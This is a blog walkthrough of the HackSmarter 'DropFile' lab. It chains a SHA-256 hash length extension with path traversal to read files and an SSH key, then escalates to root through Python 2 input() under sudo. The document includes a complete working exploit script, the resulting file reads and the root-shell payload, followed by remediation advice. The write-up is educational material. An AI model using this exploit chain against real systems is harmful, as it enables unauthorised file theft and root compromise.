Walktrhough: DropFile

Updated October 31, 2026

Objective

Conduct an internal penetration test of a Linux server, identify vulnerabilities, obtain initial access, and escalate privileges to root.

Assessment Summary

The target exposed SSH (TCP/22) and an HTTP file-sharing application (TCP/80). Virtual-host enumeration identified a development site containing the application’s source code. Source review revealed an insecure SHA-256 secret-prefix signature construction and a path-handling flaw in the download endpoint. Combining a hash length extension attack with path traversal enabled arbitrary file reads, including the SSH private key of the ravi user. After SSH access, a passwordless sudo rule permitting a Python 2 backup script allowed root-level code execution because the script used Python 2’s evaluating input() function.

Attack chain: Port enumeration → file-sharing application → dev virtual host/source disclosure → SHA-256 length extension + arbitrary file read → SSH private key disclosure → SSH as ravi → Python 2 input() code execution through sudo → root.

1. Reconnaissance

1.1 Port enumeration

rustscan -b 500 -a 10.1.23.163 -- -sV -sC -Pn -sT -oN recon.nmap

Observed open ports:

Open 10.1.23.163:22
Open 10.1.23.163:80

Port 22 exposed SSH; port 80 hosted the DropFile web application. Visiting http://dropfile.hs/ showed a file-sharing service requiring account registration. Supported upload extensions were txt, pdf, png, jpg, jpeg, gif, log, md, json, and csv.

1.2 Directory enumeration

dirsearch -u http://dropfile.hs/
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12296
Target: http://dropfile.hs/

[18:53:23] 302 -   199B - /dashboard  ->  /login
[18:53:24] 400 -    6KB - /download
[18:53:33] 200 -    7KB - /login
[18:53:33] 302 -   189B - /logout  ->  /
[18:53:41] 200 -    7KB - /register
[18:53:48] 405 -   153B - /upload

The scan identified expected application routes but no immediately exploitable hidden endpoint. Attempts to bypass the upload extension restrictions were unsuccessful.

1.3 Virtual-host enumeration

The ffuf command used a subdomain wordlist and filtered by HTTP 301 responses and identified dev:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -H "Host: FUZZ.dropfile.hs" -u http://dropfile.hs -fc 301
dev   [Status: 200, Size: 13247, Words: 1017, Lines: 231, Duration: 111ms]

Inspection of dev.dropfile.hs revealed the application’s source code, enabling a review of its signature and download logic.

2. Vulnerability Analysis

2.1 Insecure SHA-256 secret-prefix signature

The application used the following signature function:

def generate_signature(secret, data):
    sig = hashlib.sha256((secret + data).encode()).hexdigest()
    return sig

The /share/<file_id> route signs the stored disk filename, including its numeric prefix:

disk_filename = os.path.basename(disk_path)
current_sig = generate_signature(app.secret_key, disk_filename)

The download endpoint verifies a signature against the raw decoded filename bytes:

filename_bytes = unquote_to_bytes(filename_param)
expected_sig = hashlib.sha256(app.secret_key.encode() + filename_bytes).hexdigest()

if expected_sig != sig:
    return render_template('error.html', message='Invalid signature'), 403

This construction, SHA256(secret || filename), is vulnerable to a hash length extension attack. Given a valid filename/signature pair, an attacker can calculate the hash of the original secret-prefixed message extended with SHA-256 padding and attacker-controlled bytes without learning the secret itself. The secret length must be guessed to calculate the correct padding.

2.2 Unsafe download path handling

After signature verification, the endpoint interprets the filename as follows:

filename_str = filename_bytes.decode('latin-1')

if '/' not in filename_str:
    file_path = os.path.join(UPLOAD_FOLDER, filename_str)
else:
    first_slash_idx = filename_str.find('/')
    file_path = filename_str[first_slash_idx+1:]

with open(file_path, 'rb') as f:
    file_content = f.read()

When the decoded filename contains a slash, the application discards everything through the first slash and opens the remainder directly. This makes directory traversal possible. The latin-1 decoding also preserves a one-to-one representation of the SHA-256 padding bytes. Combined with a forged signature, this enables reads of files accessible to the application process.

3. Exploitation – Hash Length Extension and File Read

A legitimate shared file supplied the following filename/signature pair:

file_name = b"3_upload.txt"
file_sig = "075d48880cf34e7c845444d02c3f437e6ed81439d408df545326a4289ae90097"

3.1 Python exploit automation

Install the required library in the active Python environment:

python -m pip install requests length-extension-tool

The length-extension-tool distribution provides the HashTools import used below; it is distinct from the unrelated PyPI distribution named HashTools.

#!/usr/bin/env python3
'''
python -m pip install length-extension-tool
'''
import sys
import requests
import urllib.parse
import HashTools

target = "http://dropfile.hs"
file_name = b"3_upload.txt"
file_sig = "075d48880cf34e7c845444d02c3f437e6ed81439d408df545326a4289ae90097"

if len(sys.argv) < 2:
    print("Target file is missing")
    print(f"Usage: python3 {sys.argv[0]} /etc/passwd")
    sys.exit(1)

target_file = sys.argv[1]

for i in range(1, 50):
    # Step 1: Create a SHA-256 hash extension
    sha = HashTools.new("sha256")

    new_filename, new_sig = sha.extension(
        secret_length=i,
        original_data=file_name,
        append_data=f"/../../../../{target_file}".encode(),
        signature=file_sig
    )

    # Step 2: Encode the binary filename for the URL
    encoded_filename = urllib.parse.quote_from_bytes(
        new_filename, safe=""
    )

    # Step 3: Build request parameters
    params = {
        "filename": encoded_filename,
        "sig": new_sig
    }

    # Step 4: Send HTTP request
    url = (
        f"{target}/download"
        f"?filename={params['filename']}"
        f"&sig={params['sig']}"
    )

    try:
        response = requests.get(url, timeout=5)

        print(f"[{i}] HTTP {response.status_code}")

        # Step 5: Check whether the attack succeeded
        if response.status_code == 200:
            print(f"\n[+] Success! Secret length: {i}")
            print(f"[+] URL: {url}")
            print("\n[+] File contents:\n")

            sys.stdout.buffer.write(response.content)
            print()
            break

    except requests.RequestException as e:
        print(f"[-] Request failed: {e}")

else:
    print("[-] No successful secret length found.")

How the script works:

  1. It accepts a target filesystem path as a command-line argument.
  2. For each candidate secret length from 1 through 49, HashTools generates an extended filename (original filename + valid SHA-256 padding + traversal payload) and a matching signature.
  3. quote_from_bytes() percent-encodes the binary filename without losing the exact padding bytes.
  4. The script requests /download?filename=...&sig=... and prints each HTTP status.
  5. It stops on HTTP 200 and prints the returned file contents. In this application, HTTP 403 indicates a signature mismatch; HTTP 404 can indicate the signature passed but the file path was not found.

The payload f"/../../../../{target_file}" ensures that, after the application removes everything through the first slash, the remaining path begins with traversal segments. An absolute target_file also produces a double slash before the target path; the successful response demonstrates the path resolved as intended in this lab.

3.2 Read /etc/passwd

python3 exploit.py /etc/passwd
...[SNIP]...
[15] HTTP 403
[16] HTTP 200
...[SNIP]...

[+] Success! Secret length: 16
[+] URL: http://dropfile.hs/download?filename=3_upload.txt%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%2F..%2F..%2F..%2F..%2F%2Fetc%2Fpasswd&sig=fba599dc14f847b94835a736d4c7959bd9a85add3502f08bea3a43b367cd3ffa

[+] File contents:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...[SNIP]...
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
ravi:x:1000:1000::/home/ravi:/bin/bash
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin

The successful request established that the guessed secret length was 16 bytes and that arbitrary file read was achievable. The output identified the interactive user ravi, with home directory /home/ravi.

3.3 Retrieve ravi‘s SSH private key

With SSH exposed on port 22, the next step was to test whether the application could read the user’s private key. The recorded command was:

python3 exploit.py /home/ravi/.ssh/id_rsa

After identifying the ravi user through /etc/passwd, we attempted to retrieve their SSH private key using the arbitrary file read vulnerability. The application successfully returned /home/ravi/.ssh/id_rsa, which we saved locally and used to authenticate over SSH.

[16] HTTP 200
[+] Success! Secret length: 16
[+] URL: http://dropfile.hs/download?filename=3_upload.txt%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%2F..%2F..%2F..%2F..%2F%2Fhome%2Fravi%2F.ssh%2Fid_rsa&sig=b0766bdc3020fa15c446a4cb41c628899a75181c3a94373f2ec27dc943b99dfb

[+] File contents:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn
...[SNIP]...
cQ/zSkkP/mEAAAANcmF2aUBkcm9wZmlsZQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

The key was saved locally as ravi_id_rsa, restricted to owner-only access, and used for SSH authentication:

chmod 600 ravi_id_rsa
ssh -i ravi_id_rsa ravi@dropfile.hs

3.4 User flag

ravi@dropfile:~$ ls
user.txt
ravi@dropfile:~$ cat user.txt
[REDACTED]

This confirmed access as ravi.

4. Privilege Escalation

4.1 Sudo permissions

sudo -l
Matching Defaults entries for ravi on dropfile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User ravi may run the following commands on dropfile:
    (root) NOPASSWD: /usr/local/bin/python2.7 /opt/backup.py

The ravi user could execute /opt/backup.py as root with Python 2.7 without entering a password.

4.2 Backup script review

ls -ltra /opt/backup.py
cat /opt/backup.py
-rw-r--r-- 1 root root 597 Apr 11  2026 /opt/backup.py
#!/usr/bin/env python2
import os
import time
import tarfile

SOURCE_DIR = "/opt/dropfile.local"
BACKUP_DIR = "/opt"

timestamp = time.strftime("%Y%m%d_%H%M%S")
backup_name = "dropfile_backup_" + timestamp + ".tar.gz"
backup_path = os.path.join(BACKUP_DIR, backup_name)

print "Backup target: " + SOURCE_DIR
confirm = input("Are you sure you want to backup to " + backup_path + "? (yes/no): ")

if confirm.lower() != "yes":
    print "Aborted."
    exit(0)

with tarfile.open(backup_path, "w:gz") as tar:
    tar.add(SOURCE_DIR, arcname="dropfile.local")

print "Backup created at: " + backup_path

Root cause: Unlike Python 3’s input(), Python 2’s input() evaluates the user’s input as a Python expression (similar to eval(raw_input(...))). Because the backup script runs as root, an expression entered at the confirmation prompt can execute code with root privileges.

4.3 Exploitation and root access

The following expression was entered at the backup confirmation prompt:

(__import__('os').system('/bin/bash'), 'yes')[1]

This expression first executes os.system('/bin/bash'), starting a shell. It then evaluates to 'yes' through tuple indexing, which would satisfy the confirmation check if execution returns to the backup script. The shell runs as root because sudo launched the Python interpreter with root privileges.

ravi@dropfile:~$ sudo /usr/local/bin/python2.7 /opt/backup.py
Backup target: /opt/dropfile.local
Are you sure you want to backup to /opt/dropfile_backup_20261031_185834.tar.gz? (yes/no): (__import__('os').system('/bin/bash'), 'yes')[1]
root@dropfile:/home/ravi# id
uid=0(root) gid=0(root) groups=0(root)
root@dropfile:/home/ravi# cd /root
root@dropfile:~# ls
root.txt
root@dropfile:~# cat root.txt
[REDACTED]

The id output confirmed successful privilege escalation to UID 0.

5. Findings and Remediation

FindingImpactRecommended remediation
Insecure secret-prefix SHA-256 signaturesForgery of valid download signatures using hash length extensionUse hmac.new(secret, data, hashlib.sha256) with constant-time comparison; invalidate old links after migration
Unsafe download path handlingArbitrary read of files accessible to the web applicationResolve requested files by server-side identifiers; enforce a canonical upload-directory boundary and reject traversal
Exposed development source codeDisclosed implementation details that facilitated exploitationRestrict development virtual hosts and source repositories to authorized users; avoid exposing internal code publicly
Python 2 input() in privileged scriptArbitrary code execution as root through evaluated inputMigrate to Python 3; use string-only input handling and explicit validation
Passwordless sudo access to unsafe scriptAllowed a low-privileged user to exploit a root-run scriptReview sudo rules; avoid privileged execution of scripts that evaluate untrusted input; apply least privilege
SSH private key readable by the applicationEnabled authentication as raviRestrict service-account filesystem access; separate sensitive user keys from application-readable paths; rotate exposed credentials

6. Conclusion

The DropFile assessment demonstrated how two application-layer weaknesses—an extendable secret-prefix SHA-256 signature and unsafe path resolution—could be chained to disclose sensitive local files. The recovered SSH private key provided access as ravi. A separate local privilege escalation path then arose from a passwordless sudo rule for a Python 2 backup script that evaluated untrusted input. The final shell ran as root, and both the user and root flags were retrieved.

7. Lessons Learned

  • A digest of secret || message is not a safe substitute for HMAC.
  • A valid signature does not make an attacker-controlled filesystem path safe.
  • Source-code disclosure can reveal subtle implementation flaws that ordinary endpoint scanning misses.
  • HTTP response codes can help distinguish signature rejection from missing files during controlled testing.
  • Python 2’s input() evaluates expressions; its semantics differ critically from Python 3.
  • Passwordless sudo rules must account for the security of the exact program and all inputs it processes.

8. Lab Reference

This challenge is available on HackSmarter under Cert Preparation → Challenge Lab: DropFile (Easy).

Disclaimer

AI-assisted tools were used to support the writing, editing, and structuring of this report. The technical testing, exploitation, and findings were performed and verified independently by the author.

Published October 31, 2026
Category: Blog, Walkthrough